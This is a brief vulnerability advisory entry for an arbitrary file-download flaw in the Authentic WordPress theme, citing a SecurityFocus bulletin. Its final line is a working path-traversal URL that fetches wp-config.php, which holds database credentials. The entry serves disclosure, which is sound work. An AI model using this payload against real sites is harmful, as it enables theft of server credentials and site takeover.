7 lines
No EOL
378 B
Text
Executable file
7 lines
No EOL
378 B
Text
Executable file
source: http://www.securityfocus.com/bid/69671/info
|
|
|
|
Authentic theme for Wordpress is prone to an arbitrary file-download vulnerability.
|
|
|
|
An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information.
|
|
|
|
http://www.example.com/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php |